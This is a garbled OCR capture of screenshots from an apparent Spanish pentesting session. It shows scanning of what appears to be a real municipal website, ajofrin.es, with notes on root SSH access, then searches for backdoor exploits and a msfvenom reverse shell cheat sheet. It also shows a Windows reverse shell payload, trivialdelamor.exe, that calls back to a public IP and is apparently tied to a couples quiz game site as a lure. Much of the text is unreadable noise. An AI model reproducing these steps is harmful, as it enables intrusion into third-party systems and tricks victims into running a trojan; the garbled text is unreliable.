DISCOVERY

ASSESSMENT

REPORT

ADVANCED

Upload Targets
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open smtp Postfix smtpd

open imap Dovecot imapd

open pop3 Dovecot pop3d

open mysql MariaDB 5.5.5-10.5.29
closed

closed ibm-db2

closed

i hll[?}f‘s'd'““s"’e““m (82.98.168.240) g Nn EW tps: //nmap. oroEELR2026-03-18 21:14 CET]
o ning.

Abrir+ A * httpsajofrines
® https ajofrin es x nessus,

1 https://ajofrin.es/

2

3 82.98.168.240 (madrid)

4

5 EL puerto 22 abierto y permite la conexién via root

6

7 Tienes un smtp compartido: correoseguro.dinaserver.com

8

9 Vulnerabilidad local en https://wmi.exploit-db.com/exploits/
mariadb

10

Et qVY LWt WIdWOYaAI IWl W6 Yt qioll & W2 131 Wi e WRGW! Whe 1J LU
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Favoritos J’ burpsuite Q_ Escribir para buscar
1 - Reconocimiento
2 - Desarrollo de Recursos
- Acceso Inicial EE dirbuster
' 7] ffuf

4 - Ejecucion

5 - Persistencia

6 - Escalada de Privilegios Q gobust%

ﬂ legion

((a maltego (installer)

7 - Evasion de Defensas
08 - Acceso a Credenciales
9 - Descubrimiento
- Movimiento r I l
Movimiento Lateral ‘ nmap

- Recopilacion } - Acceso Inicial 04 - Ejecucion 05 - Persistencia

F*= recon-ng
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6 ajofrin.es/sitemap_inds

XMLSHmna},

Generated by Yoast SEO. this is an XML Sitemap, meant for consumption by search engines.

You can find more inr-:nrr*ation about XML sitemaps on sitemaps.org.

This XML Sitemap Index file contains 5 sitemaps.

Sitemap Last Modified

https:i/ajofrin.es/post-sitemap.xml 2024-12-04 10:50 +00:00
https://ajofrin.es/page-sitemap.xml 2024-12-04 10:55 +00:00
https:i/ajofrin.es/category-sitemap. xmi 2024-12-04 10:50 +00:00
https:ifajofrin.es/post_tag-sitemap.xml 2024-06-25 06:52 +00:00
https:ifajofrin.es/author-sitemap. xml 2023-11-23 09:12 +00:00
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Hips:Jajorrin.
hitps lajofrin.esfcier

hitps:/laik

hitps: lajofrin.es/bando-corte-parci
hitps: lajofrin.esfiv-certamen-de-fotografia-digital-2018!

/aloftin.es/color-nun-2018/
tips: lajofrin es/minos-y-ninas-nacidos-en- 2017
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Qw20 WIaW RaUGEGWGe I3t W ¢ WG W ¢ WGRY qq¢t WGE | ¢ W6 ¢ ¢
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ajofrin.es / Plugin #54582

Hosts 1 Vulnerabilities 28 History 1

SMTP Service Cleartext Login Permitted

Description
The remote host is running an SMTP server that advertises that it allows cleartext logins over unencrypted connections. An attacker may be able to
uncover user names and passwords by sniffing traffic to the server if a less secure authentication mechanism (i.e. LOGIN or PLAIN) Is used.

Solution

Configure the service to support less secure authentication mechanisms only over an encrypted channel.

See Also

Output
The SMTP server advertises the following SASL methods over an
unencrypted channel on port 25 :

All supported methods : LOGIN, PLAIN
Cleartext methods : LOGIN, PLAIN
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ajﬂofr’Ain.es‘/Plugin #1C 0 ~ o~

Hosts 1 Vulnerabilities 28 History 1

INFO MySQL Server Detection

Description
The remote host is running MySQL, an open source database server.

Output

Version : 5.5.5-10.5.29-MariaDB-0+debllul-log

Protocol : 10

Server Status : SERVER_STATUS_AUTOCOMMIT

Server Capabilities :
CLIENT_FOUND_ROWS (Found instead of affected rows)
CLIENT_LONG_FLAG (Get all column flags)
CLIENT_CONNECT WITH_DB (One can specify db on connect)
CLIENT_NO_SCHEMA (Don't allow database.table.column)
CLIENT_COMPRESS (Can use compression protocol)
CLIE[\J_ODBC (ODBC client)
CLIENT LOCAL_FILES (Can use LOAD DATA LOCAL)
CLIENT_IGNORE_SPACE (Ignore spaces bhefore "(")
CLIENT_PROTOCOL_41 (New 4.1 protocol)
CLIENT_INTERACTIVE (This is an interactive client)
CLIENT_SIGPIPE (IGNORE sigpipes)
CLIENT_TRANSACTIONS (Client knows about transactions)
CLIENT_RESERVED (O0ld flag for 4.1 protocol)
CLIENT_SECURE_CONNECTION (New 4.1 authentication)

D
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- Backdoor Command Execution | unix/remote/49757.py
- Backdoor Command Execution (Me | unix/remote/17491.rb

Shellcodes: No Results




ENCcI A6t GaAYRqqWUt WACH RA¢C G WU qWAWE ¥ WAz 1381610 d o O e & e
GY!l hua JWOYWT ¢ WaVYt WaRY QY W Wteadqel Y We W2 IR O
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vsfind23.4

0 * ) 1 il
¢ o vellpe 2.2.4 - Backdoc and Execution (M i alfonso@kali: ~ a i
Showing 1o 2 of 2 entries (fitered from 46,496 total entries) | linux/remote/45001.py
< 7.4 - 'UsePrivilegeSeparation Disabled' Forwarded Unix Domain Sockets
Privilege Escalation I Uinux/local/40962.txt
Databases Links < 7.4 - agent Protocol Arbitrary Library Loading

| linux/remote/40963.txt
Explats earch Expicet0 < 7.7 = User Enumeration (2)

No Results
vsftpd 2.3.4

- Backdoor Command Execution | unix/remote/49757.py
- Backdoor Command Execution (Me | unix/remote/17491.rb

§ql YiWhe JWEWGYE W2 R qY Wt Wie W2l + RZOWI JwWs GUUEEc Wr

.3 < 7.7 - Username Enumeration

| linux/remote/45233.py
.3 ¢ 7.7 - Username Enumeration (PoC)

| linux/remote/45210.py
6.6 SFTP (x64) - Command Execution

| linux_x86-64/remote/45000.c

6.6 SFTP - Command Execution

| linux/remote/45001.py
7.4 - 'UsePrivilegeSeparation Disabled' Forwarded Unix Domain Sockets
Escalation | linux/local/40962.txt
7.5 - agent Protocol Arbitrary Library Loading

| linux/remote/40963.txt
7.7 = User Enumeration (2)

linux/remote/45939.py
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[j—{ )-[~/Documentos/exploits]

chsploit -m linux/remote/45233.py
Exploit: OpenSSH 2.3 < 7.7 - Username Enumeration
URL: https://www.exploit-db.com/exploits/45233
Path: /usr/share/exploitdb/exploits/linux/remote/45233.py
(oG [T R CVE-2018-15473
Verified: True
File Type: Python script, ASCII text executable
Copied to: /home/alfonso/Documentos/exploits/45233.py

[:fg )-[ ~/Documentos/exploits]

9éEBW Yt WUt qCWeT 2RI qRIVUOT YWT WWaewz2edaUWI ¢cARGRIT ¢1
é10Yt Whe WU W URRAWD WY qCW WNRY ql ¢T ¢ a

€< C @ Q8 incibe.es
OffSec Kali Linux # KaliTools < KaliDocs ¥ Kali Forums e\ Kali NetHunter Exploit-DB Google Hacking DB
. = ]
S H_ICIbe *incibe-cert INCIBE  INCIBE-C
INSTITUTO NACIONAL DE CIBERSEGURIDAD S -

Early Warning Blog PL

Security Advi!

OpenSSH through 7.7 is prone to a user enumeration vulnera
containing the request has been fully parsed, related to auth2

Impact

Vector 3.x CVS5:3.1/AV.N/AC L [UIEN/S:U/CLAN/AN
Base Score 3.x 5.30

Severity 3.x MEDIUM Ly
Vector 2.0 AV:N/ACL/ALN/CP/:N/AN
Base Score 2.0 5.00

Severity 2.0 MEDIUM



[j—( )-[~/Documentos/exploits]

45233 .py

[j_( )-[~/Documentos/exploits]

ls -1
total 8
-rwxr-xr-x 1 alfonso alfonso 6245 mar 19 19:07 45233.py

[:f( )-[~/Documentos/exploits]
dEWqUUIAYH WIT WY+ GIYRQOW Y W2RUOWWHYOWGIII & RE Y Wi

ADOYGHAI ¢cOYt WJdWe!l HE6R2Y W WWAP=Z0O0G! WEY! Wt 610% Gy
Xx WW6 ¢ #HWAG Y We WwO¢c UYWGe !l ¢w2ll aywey!l wi wlqgl Ya

GNU nano 8.6 sshexploit.py

argparse
logging
paramiko
nmultiprocessing
“socket
sys
json

old_parse_service_accept = paramiko.auth_handler.AuthHandler._handler_table[paramiko.common.MSG_SERVICE_ACCEPT]

BadUsername(Exception):
(self):

(*args, **kwargs):

(*args, *xkwargs):
BadUsername()

(*args, *xkwargs):
old_add_boolean = paramiko.message.Message.add_boolean

¢10YtH Whe JIWWRGGY! q¢ Wi eHGE¢t WARAI I Rt AWT WAHDI Rea VYt L
0RHI Ul R¢t Whe JWe qRORACSE



[j—f )-[~/Documentos/exploits ]
sshexploit.py

[j—( )-[~/Documentos/exploits ]
nano sshexploit.py

[j% )-[~/Documentos/exploits]
python

| . sshexploit.py 192.168.1.42
File
pass

[j% )-[~/Documentos/exploits ]

x 2 NV W2 Whe WG W3 HGE W YWIt qCWde d WROT WUqeT YIOWAGS! g
| WGE! WHUWe JW6¢! WeaNsUWgRGY W WWnéada VYWY UWIt qldwl

NoaOMW! We¢Uqt awf OqRU0qéeWHY!I | W WeaNaUYt WI+GaYRqt

L$ python3 ftp.py 192.168.1.42
Traceback (most recent call last):
File
from telnetlib import Telnet

[j_g )-[~/Documentos/exploits]
nano ftp.py

)-[~/Documentos/exploits]
)3 install Telnet
: externally-managed-environment

This environment is externally managed
To install Python packages system-wide, try apt install
python3-xyz, where xyz is the package you are trying to
install.
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C 2 github.com

6 padsalatushal Upda

[ LICENCE
| README.md

[ exploitpy

[J README  Z[2 MIT license

CVE-2011-2523 - vsftpd 2.3.4 Exploit

Description

« vsftpd, which stands for very Secure FTP Daemon ,is an FTP server for Unix-like systems, including Linux. It is
licensed under the GNU General Public License. It supports IPv6 and SSL.

In July 2011, it was discovered that vsftpd version 2.3.4 downloadable from the master site had been
compromised. Users logging into a compromised vsftpd-2.3.4 server may issue a :) smileyface as the
username and gain a command shell on port 62ee . This was not an issue of a security hole in vsftpd, instead,
someone had uploaded a different version of vsftpd which contained a backdoor. Since then, the site was moved
to Google App Engine.

Requirements

EOWt qUWNRq6e AW RWhe W2 JWOWHIIE Ra ¢ Wdc¢ Wi RAI 1J1 RE LLC

- 0000000000000
GNU nano 8.6 ftp.py

telnetlib Telnet
argparse

signal signal, SIGINT

sys exit

(signal_received, frame):

9YGRCWG¢We !l W WWNRag6eAW! Wae UA¢ We Ulla

MWNDRaqWHRIYUU Wt RN2WWact WRUY gl e#BARY Ut W WG WNRqE 2 |



)-[~/Documentos/exploits]

(
[:— nano ftp.py

)-[~/Documentos/exploits]
git clone https://github.com/padsalatushal/CVE-2011-2523
'CVE-2011-2523"'...
remote: Enumerating objects: 84, done.
remote: Counting objects: 100% (84/84), done.
remote: Compressing objects: 100% (81/81), done.
remote: Total 84 (delta 20), reused 1 (delta @), pack-reused @ (from 0)
Recibiendo objetos: 100% (84/84), 33.32 KiB | 1.07 MiB/s, listo.
Resolviendo deltas: 100% (20/20), listo.

)-[~/Documentos/exploits]

ftp.py sshexploit.py

git clone https://github.com/padsalatushal/CVE-2011-2523

Clonando en 'CVE-2011-2523'...

: Enumerating objects: 84, done. 0

: Counting objects: 100% (84/84), done. y - -

: Compressing objects: 100% (81/81), done.
remote: Total 84 (delta 20), reused 1 (delta @), pack-reused 0 (from 0)
Recibiendo objetos: 100% (84/84), 33.32 KiB | 1.07 MiB/s, listo.
Resolviendo deltas: 100% (20/20), listo.

[j4 )-[~/Documentos/exploits]
Ls

45210.py ftp.py sshexploit.py

[j_( )-[~/Documentos/exploits]
cd CVE-2011-2523

[?% )-[~/Documentos/exploits/CVE-2011-2523]
s
expJX3Y] LICENCE README.md

[j4 )-[~/Documentos/exploits/CVE-2011-2523]
chmod 777 exploit.py

r—% )-[~/Documentos/exploits/CVE-2011-2523]
—% 1s -1
total 12

-rwxrwxrwx 1 alfonso alfonso 1415 mar 19 19:34 exploit.py
-rw-rw-r-- 1 alfonso alfonso 1071 mar 19 19:34 LICENCE
-rw-rw-r-- 1 alfonso alfonso 1546 mar 19 19:34 README.md

[j% )-[~/Documentos/exploits/CVE-2011-2523]
ls

exploit.py[}LICENCE README . md

)-[~/Documentos/exploits/CVE-2011-2523]
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[:—( )-[~/Documentos/exploits/CVE-2011-2523]
python3 exploit.py -host 192.168.1.42
Traceback (most recent call last):
File
from telnetlib import Telnet

)-[~/Documentos/exploits/CVE-2011-2523]
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)-[~/Documentos/exploits/CVE-2011-2523]

f -1 payloads

Framework Payloads (1680 total) '

aix/ppc/shell_bind_tcp
aix/ppc/shell_find_port
aix/ppc/shell_interact
aix/ppc/shell_reverse_tcp
android/meterpreter/reverse_http
android/meterpreter/reverse_https
android/meterpreter/reverse_tcp
android/meterpreter_reverse_http
android/meterpreter_reverse_https
android/meterpreter_reverse_tcp
android/shell/reverse_http
android/shell/reverse_https
android/shell/reverse_tcp
apple_ios/aarch64/meterpreter_reverse_http
apple_ios/aarch64/meterpreter_reverse_https
apple_ios/aarch64/meterpreter_reverse_tcp
apple_ios/aarch64/shell_reverse_tcp
apple_ios/armle/meterpreter_reverse_http
apple_ios/armle/meterpreter_reverse_https
apple_ios/armle/meterpreter_reverse_tcp
bsd/sparc/shell_bind_tcp
bsd/sparc/shell_reverse_tcp
bsd/vax/shell_reverse_tcp
bsd/x64/exec
bsd/x64/shell_bind_ipvé_tcp
bsd/x64/shell_bind_tcp
bsd/x64/shell_bind_tcp_small
bsd/x64/shell_reverse_ipvé_tcp
bsd/x64/shell_reverse_tcp

“Yx64/shell_reverse_tcp_small

/x86/exec
bsd/x86/metsvc_bind_tcp
bsd/x86/metsvc reverse tcp

payload <value>]

& (]

TR, b Foté compartiendo Lo panials &

Simply execve /bin/sh (for i
Connect back to attacker and

Run a meterpreter server in Android.
Run a meterpreter server in Android.

 Dejo de compartie
netd programs)
spawn a command shell

Run a meterpreter server in Android. Connect back stager

Connect back to attacker and
Connect back to attacker and

spawn a Meterpreter shell
spawn a Meterpreter shell

Tunnel communication over HTTP
Tunnel communication over HTTPS

Connect back to the attacker and spawn a Meterpreter shell
Spawn a piped command shell (sh). Tunnel communication over HTTP
(sh). Tunnel communication over HTTPS

Spawn a piped command shell

Spawn a piped command shell

Run the Meterpreter / Mettle
Run the Meterpreter / Mettle
Run the Meterpreter / Mettle
Connect back to attacker and
Run the Meterpreter / Mettle
Run the Meterpreter / Mettle
Run the Meterpreter / Mettle
Listen for a connection and

Connect back to attacker and
Connect back to attacker and
Execute an arbitrary command

(sh). Connect back stager
server payload (stageless)
server payload (stageless)
server payload (stageless)
spawn a command shell
server payload (stageless)
server payload (stageless)
server payload (stageless)

spawn a command shell
spawn a command shell
spawn a command shell

Listen for a connection and spawn a command shell over IPv6

Bind an arbitrary command to
Listen for a connection and
Connect back to attacker and
Connect back to attacker and
Connect back to attacker and
Execute an arbitrary command
Stub payload for interacting
Stub pavload for interactineg

an arbitrary port
spawn a command shell

spawn a command shell over IPv6

spawn a command shell
spawn a command shell

with a Meterpreter Service yapianc

with a Meterpreter Service

¢l t WGe | ¢ WHGE @MW B LWeé 10 Y
H6Rt RGYL B

OWqRUPGVE We UVt WNZYMWGE! GV
2

G! q6 YAWEE £ tls RUT Yst W6 ¢! WG

er server in PHP. Reverse PHP connect back stager with checks for disabled functions
Execute a PHP payload as an 0S command from a Posix-compatible shell
L eI loSs command from a Posix-compatible shell. Reverse PHP con
nect back shell with checks lor disabled functions
Execute a PHP payload as an 0S command from a Posix-compatible shell. Spawn a shell o
n the established connection to the webserver. Unfortunately, this payload can leave
consnicuons evil-Tooking entries in the anache error lass. so it nrobably a good i
g working. The is
appears to have
peen paig S 7 ana may not work on otner Debian-based
distributions. Only tested o#’iﬁﬁi;é‘;;? 1t might work on other web servers that leak
file descriptors to child processes.
Accept a connection, send a UUID, then exit
Creates a socket, send a UUID, then exit
Execute a Python payload as an 0S command from a Posix-compatible shell. Execute an a
rbitrary 0S command. Compatible with Pvthon 2.7 and 3.4+

211+ JwyUWG6 Ge

cmd/unix/php/meterpreter_reverse_tcp
cmd/unix/php/reverse_php

cmd/unix/php/shell_findsock

cmd/unix/pingback_bind
cmd/unix/pingback_reverse
cmd/unix/python/exec

E6IJGGol
x Yt WwadCt WRUqWI 3t Wt ¢U0qt wt YOWD Y Whe W REDWBE 6 1J0 O H

windows/x64/pingback_reverse_tcp
windows/x64/powershell_bind_tcp
windows/x64/powershell_reverse_tcp
windows/x64/powershell_reverse_tcp_ssl
windows/x64/shell/bind_ipv6_tcp

Connect back to attacker and report UUID (Windows x64)
Listen for a connection and spawn an interactive powershell session
Listen for a connection and spawn an interactive powershell session

" D 7 0]

windows/x64/shell/bind_ipv6_tcp_uuid Spawn a pi@n; O e | PSS aged). Listen for an IPv6 con
h UUID Support (Windows x64)
Spawn a piped command shell (Windows x64) (staged). Listen for a pipe conn
dows x64)
Spawn a piped command shell (Windows x64) (staged). Listen for a connectio
x64)
Spawn a piped command shell (Windows x64) (staged). Connect back to the at
Spawn a piped command shell (Windows x64) (staged). Listen for a connectio
Support (Windows x64)
Spawn a piped command shell (Windows x64) (staged). Connect back
dows x64)
Spawn a piped command shell (Windows x64) (staged). Connect back
Spawn a piped command shell (Windows x64) (staged). Connect back
UUID Support (Windows x64)
Listen for a connection and spawn a command shell (Windows x64)
Connect back to attacker and spawn a command shell (Windows x64)
Inject a VNC D11 via a reflective loader (Windows x64) (staged).
onnection (Windows x64)
nie a_VNC D ia g

windows/x64/EqV/bind_named_pipe
windows/x64/shell/bind_tcp

windows/x64/shell/bind_tcp_rc4
windows/x64/shell/bind_tcp_uuid

windows/x64/shell/reverse_tcp

&
windows/x64/shell/reverse_tcp_¥c4
windows/x64/shell/reverse_tcp_uuid

windows/x64/shell_bind_tcp
windows/x64/shell_reverse_tcp
windows/x64/vncinject/bind_ipv6_tcp

P RW JWGeUT ¢0we Uc Wt U1 RUWT WWRUY gl e "HRY U WGE | ¢ Wi
b WeqeRrcUqUs W WqUN¢e We Ue W 6130 0 LW

XY W DWsd gl Gl Daglwlt 213a30W 131 Wi Yt wWwaCt WRUq I 1t ¢



windows/x64/meterpreter/reverse_tcp_uuid

windows/x64/meterpreter/reverse_winhttp

windows/x64/meterpreter/reverse_winhttps

windows/x64/TIR3qdea8ar_bind_named_pipe
windows/x64/meterpreter_bind_tcp
windows/x64/meterpreter_reverse_http
windows/x64/meterpreter_reverse_https

windows/x64/meterpreter_reverse_ipv6_tcp

windows/x64/meterpreter_reverse_tcp

Inject t s

FISHENSINSYlective D11 I

Requires Windows XP SP2 or newer. Connect back to the attad

dows x64)

Inject the meterpreter server DLL via the Reflective D11 I
Requires Windows XP SP2 or newer. Tunnel communication ovel

Inject the meterpreter server DLL via the Reflective D11 I
Requires Windows XP SP2 or newer. Tunnel communication ovel

)]

Connect to victim and spawn a Meterpreter shell.

Connect to victim and spawn a Meterpreter shell.
back to attacker and spawn a Meterpreter

back to attacker and spawn a Meterpreter
Connect back to attacker and spawn a Meterpreter

wer.
Connect back to attacker and spawn a Meterpreter

Requires
Requires
shell.
shell.
shell.

shell.

wer.
Inject a custom native PE file into the exploited process
r. The reflective PE loader will execute the pre-mapped PE
dress of entry after performing image base relocation and

windows/x64/peinject/bind_ipv6_tcp

x Yt Whe W RAVDUWG qaGa WEt Whe JWgqUnNe UWe UWwt 31 2 RT Y1 LWs
RUT Yst b

—;

¢OYt We WG YHC I a

D

reply with a RST packet if the connections 1s not coming 1

T. This way the port will appear as "closed" helping us to hide the shellcode.
Connect back to attacker and spawn a command shell

Causes the target to say "You Got Pwned" via the Windows Speech API

Uploads an executable and runs it (staged). Listen for a connection. First, the port
will need to be knocked from the IP defined in KHOST. This IP will work as an authen
ication method (you can spoof it with tools like hping). After that you could get yo
r shellcode from any IP. The socket will appear as "closed," thus helping to hide th

dows/shell_reverse_tcp

windows/speak_pwned

windows/upexec/bind_hidden_ipknock_tcp

EGUW 61GGW 32130+ 3W JWws RUT Yst a
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] README 4 =

MSFVenom Cheatsheet
B

MSFVenom Payload Generation One-Liner Description

List available

fui -| payload
msfvenom -| payloads payloads

msfvenom -p PAYLOAD --list-options

msfvenom -p PAYLOAD -e ENCODER -f FORMAT -i ENCODE COUNT LHOST=IP

msfvenom -p linux/x86/meterpreter/ireverse_tcp LHOST=IP LPORT=PORT -felf >
shell.elf

msfvenom -p linux/x86/meterpreter/bind_tcp RHOST=IP LPORT=PORT -f elf > shell.elf

~2! WA21U0¢ Ws AW

List payload options
Payload Enceding

Linux Meterpreter
reverse shell x86
multi stage

Linux Meterpreter
bind shell x86 multi
stage



T Teverse shell

msfvenom -p linux/x64/shell_reverse_tcp RHOST=IP LPORT=PORT -f elf > shell.elf
x64 single stage

Windows
msfvenom -p windows/meterpreter/reverse_tcp LHOST=IP LPORT=PORT -f exe > !

Meterpreter reverse
shell.gxe

shell
msfvenom -p windows/meterpreter_reverse_http LHOST=IP LPORT=PORT Windows
HitpUserAgent="Mozilla/5.0 (Windows NT 10.0: Win64; x64) AppleWebKit/537.36 Meterpreter http
(KHTML, like Gecko) Chrome/73.0.3683.103 Safari/537.36" -f exe > shell.exe reverse shell

Windows
msfvenom -p windows/meterpreter/bind_tcp RHOST= IP LPORT=PORT -f exe > .

Meterpreter bind
shell.exe shell

Wind CMD Multi
msfvenom -p windows/shellireverse_tcp LHOST=IP LPORT=PORT -f exe > shellfexe indows Y

Stage

Windows CMD
msfvenom -p windows/shell_reverse_tcp LHOST=IP LPORT=PORT -f exe > shell.exe

Single Stage
msfvenom -p windows/adduser USER=hacker PASS=password -f exe > useradd.exe Windows add user

msfvenom -p osx/x86/shell_reverse_tcp LHOST=IP LPORT=PORT -f macho >
shell.macho

Mac Reverse Shell

msfvenom -p osx/x86/shell_bind_tcp RHOST=IP LPORT=PORT -f macho > shell.macho Mac Bind shell

msfvenom -p cmd/unix/reverse_python LHOST=IP LPORT=PORT -f raw > shell.py Python Shell
msfvenom -p emd/unix/reverse_bash LHOST=IP LPORT=PORT -f raw > shell.sh BASH Shell
msfvenom -p cmd/unix/reverse_perl LHOST=IP LPORT=PORT -f raw > shell.pl PERL Shell

Et qec Wt I ReWdewYl T WUa

xc8ENall 213t ql Bxé AGMURSIICHE WRHEOL AWIIH W UDHEHRI AWG ¢ Wf
x A8 ANa WWE G Whie WWhe Il ¢a Yt 1O

msfvenom -p windows/shellreverse_tcp LHOST=IP LPORT=PORT -f exe > shelllexe

ESNGGOI+FIWI W9¢ AR WIGWIUYAGHI DWGE ! ¢ Whe WWGRKhe 1J

)-[~/Documentos/exploits/CVE-2011-2523]
-p windows/shell/reverse_tcp LHOST=83.38.192.239 LPORT=444 -f exe juego.exe

~UTHI R2R¢cOT Waca Yl O+

)-[~/Documentos/exploits/CVE-2011-2523]

venom -p windows/shell/reverse_tcp LHOST=83.38.192.239 LPORT=444 -f exe trivialdelamorlexe

>



| ( ~/Documentos/exploits/CVE-2011-2523
windows/shell/reverse_tcp LHOST=83.38.192.239 LPORT=444 -f exe trivialdelamor.exe
[-] No platform was selected, choosing Msf::Module::Platform::Windows from the payload
[-] No arch selected, selecting arch: x86 from the payload
No encoder specified, outputting raw payload
Payload size: 354 bytes
Final size of exe file: 7168 bytes

| ( ~/Documentos/exploits/CVE-2011-2523
exploit.py LICENCE README.md trivialdelamor.exe

-[~/Documentos/exploits/CVE-2011-2523]

pu)
e}
O
S

Et qYW! ¢WOYWIYWGESYT WaYH W21 WGY! e JWIt qCWHY G G

| ~( [~/Documentos/exploits/CVE-2011-2523
t trivialdelamor.exe
MZooooneoe eleLe!This program cannot be run in DOS mode.
$oooekooekooekooojooekooejooekoZooooekoZoiooekoRicheekePELohe
oD Deo<((.text$mn.idata$ .rdata$ .rdata$voltmdD e.rdata$zzzdbg!.idata$2$!.idata$38.idata$sd! .idata$60.data8!R! @VirtualProted
oR0O®R
0o8oue}e; tfueXeX$efePeX Nlot<leletoolooe
KeXYomD$$[[aYZQooX_Zoooee1h32hws2_ThLwgeeene)eTPh)okeo]
hS&eeheeePPPPQPaPheeeefVIWheotae3et
oueegjjViheo_eXe~66jahVjhXeSeedsjVSihee_eXe}(XhajPh
/0@esWhunMaee” "o
$opeeeeosse)ousiioVjSeeeQoeeeeQ QKERNEL32.dlVirtualProtectod

-[~/Documentos/exploits/CVE-2011-2523
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Gzl qYWNNOMNtO

6YI ¢Wt W2 ¢ We dWé Rt ecalWEqel RYW! WrHYUWG ¢ W a

€ C 25 mslavisando.com/trivialamor/

88 B XUNTAEMPLE... n Areapersonal|... o' HEDIMACURS... € HAZERTA B Traducir ™ Gmail 4l Consultas-Go... @ YouTube @ Maps @ InspectwithC... [ PLANTILLAS ¢ Campus Hedi...

- El Trivial del Amor

El juego de preguntas mas divertido para parejas

¢Coémo funciona?

? @

Preguntas Variadas Modos de Juego
Cientos de preguntas sobre el amor Elige entre diferentes modos: clasico
intimidad y conocimiento mutuo para retos especiales y desafios compartidos.

parejas.

®
=

Puntuaciones

Compite amistosamente y descubre
quién realmente conoce mejor a su

pareja.

¢Por qué jugar?
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Ayuda

Importar servicio virtualizado x

.~ Fuente
Fuente: | Sistema de archivos local =
Archivo: | | &

> Configuracién

Terminar || Cancelar

owyUWe !l #6 R2 Y WG 1Ja IJHAIIY GIROICHIGR 2 YIOY 2 ¢ tOW HI

fOGY!l q¢c¢UqUWHREGARE! Wt qVYa

Ayuda

Importar servicio virtualizado

> Fuente
.~ Configuracion

Sistema virtual 1
€3 Nombre

csec

£ Tipo de SO invitado ¥4 Ubuntu (64-bit)

{ cpu 2

& rRAM 4096 MB

@ DvD v

£ Controlador USB v

({p Tarjeta de sonido v ICHAC97 =
Carpeta base de maquina: ™7 /home/alfonso/VirtualBox VMs ¥

Politica de direccion MAC: | Generar una nueva direccion MAC para todos los adaptadores der ~ ‘

Opciones adicionales: v Import Hard Drives as VDI A

| Terminar || Cancelar



x2 DNYWIUWéERI qeacii7Y+a

[ csec - Settings x
Basic m Search settings &
@ General Red
Sistarna Adaptador1 = Adaptador2  Adaptador3  Adaptador 4

v Habilitar adaptador de red

u Pantalla
Conectar a Adaptador puente >
Almacenamiento Nombre |enp11s0 k =
({)} Audio |Network adapter on the host system that traffic to and from this network card will go through | -
DI—J Red Promiscuous Mode | Denegar >
Direccion MAC |080027BF6C02 ®

@ Puertos serie

£ usB

i Duincbac cavia

T ¢Gqel YI WGeWUqto

v Virtual Cable Connected
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Guest Session
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a root@kali: fhomefjavier Q,

Currently scanning: 192.168.0.0/16 | Screen View: Unique Hosts

7 Captured ARP Req/Rep packets, from 3 hosts. Total size: 420

192.168.10.1 @0:e2:60:85:6a:88 Unknown vendor
192.168.10.100 b@:6e:bf:cd:c7:49 ASUSTek COMPUTER INC.
192.168.10.114 ©8:00:27:e1:19:74 PCS Systemtechnik GmbH

§HqUUUG VYt WiH¢ WRGalWN®D®=IONZ Y ONMIONN T
UAca Yt wuyowuylae Ga

SERVICE VERSION
ftp .3.
ssh OpenSS5H 7.2p2 Ubuntu 4ubuntu2.2 (Ubuntu Linux; protocol 2.0)

D:39:2d:87:46:Tb:03:86:73:b3:3c:54:7e:54 (RSA)
256 f1:f3:c0:dd:ba:a4:85:f7:13:9a:da:3a:bb:4d:93:04 (ECDSA)
256 12:e2:98:d2:a3:e7:36:4f:b :36:6b:7e:0d:9e (ED25519)
http Apache httpd 2.4.18 ((Ubuntu))

POST OPTIONS GET HEAD
Apache/2.4.18 (Ubuntu)

27:E1:F9:74 (Oracle VirtualBox virtual NIC)
1 purpose
nux 3.X|[4.X
e:/o:linux:linux Kernel: --/rn linux:linux kernel:4
Linux 3.2 - 4. 14 Llnu» She .16

m 92.511 days (since Sun Dec N n—
m 1 h:lp

Difficult 63 (Good luck!)
cpe:/o:linux:linux

TRACEROUTE
HOP RTT ADDRESS

1 CPERN E192.1658.10.114

A Script Post-scanning.
Initiating NSE at 18:57
Completed NSE at 18:57, 0.00s elap
Initiating NSE at 18:57
Completed NSE at 18:57, 0.00s elapsed
Initiating NSE at 18:57

pleted NSE at 18:57, 0.0E€
Read data files from:|WAIB
05 and Service detection p . ~ase report any incorrect results at [ISqRPRALECIIIge/submit/ .
Nmap done : INERCREGET (1 host up} scanned in 18.27 seconds

Raw pack ent: 1023 (45.806KB) | Rcvd: 1015 (41.290KB)
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Verified Has App Y Filters T Reset All

Show 15 v Search ‘ ProFTPD 1.3.3q ‘
Datem D A V Title Type Platform Author
2010-12-03 * ProFTPd-1.3.3¢ - Backdoor Command Execution (Metasploit) l Remote Linux Metasploit
2010-12-02 + 0O ProFTPd 1.3.3c - Compromised Source Backdoor Remote Code Execution Remote Linux anonymous
Showing 1to 2 of 2 entries (filtered from 46,496 total entries) FIRST PREVIOUS o NEXT
Databases Links Sites Solutions
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/home/alfonso

-A -T5 -p- 192.168.1.74
Starting Nmap 7.95 ( https://nmap.org ) at 2026-03-24 19:13 CET
Nmap scan report for 192.168.1.74
Host is up (0.00038s latency).
Not shown: 65532 closed tcp ports (reset)
PORT  STATE SERVICE VERSION
21/tcp opetg ftp ProFTPD 1.3.3c
22/tcp open ssh OpenSSH 7.2p2 Ubuntu 4ubuntu2.8 (Ubuntu Linux; protocol 2.0

ssh-hostkey:
2048 d6:01:90:39:2d:8F:46:fb:03:86:73:b3:3c:54:7e:54 (RSA)
256 f1:f3:c0:dd:ba:a%:85:f7:13:9a:da:3a:bb:4d:93:04 (ECDSA)

¥ ]
STATE SERVICE VERSION

21/tcp open ftp
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Archivos

Carpeta personal
Recientes
Destacados

1 Red

B Papelera

Documentos & - Y

Musica
Imagenes Sin conexiones conocidas

Videos Introduzca una direccion para conectase a una ubicacion de red.

¥ Descargas

Cancelar (i ]
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/home/alfonso
t ProFTPD 1.3.3c

- Compromised Source Backdoor | linux/remote/15662.txt
- Backdoor Command Execution ( | linux/remote/16921.rb

Shellcodes: No Results

/home/alfonso
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- Compromised Source Backdoor [Remote Code Execution
- Backdoor Command Execution (l-fetasploit)
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sf > search ProFTPD 1.3.3c

Matching Modules

Disclosure Date Rank Check Description

0 exploit/unix/ftp/proftpd_133c_backdoor 2010-12-02

Interact with a module by name or index. For example 1

msf > ||

MWet DWMWe WY We + DWeHYGRE | WG WIH qlUwbb

CAPAVAL UIAA/ | WP/ PV LPU_AJVL_WALRUVVL

Interact with a module by name or index. For example inf

msf > use exploit/unix/ftp/proftpd_133c_backdoor

sf exploit( )=¥

MWt 6 Ys WYGqRYUL W

sf exploit( ") > show options
odule options (exploit/unix/ftp/proftpd_133c_backdoor):

Name r i ired De:

CHOST cal client address

CPORT The local client port

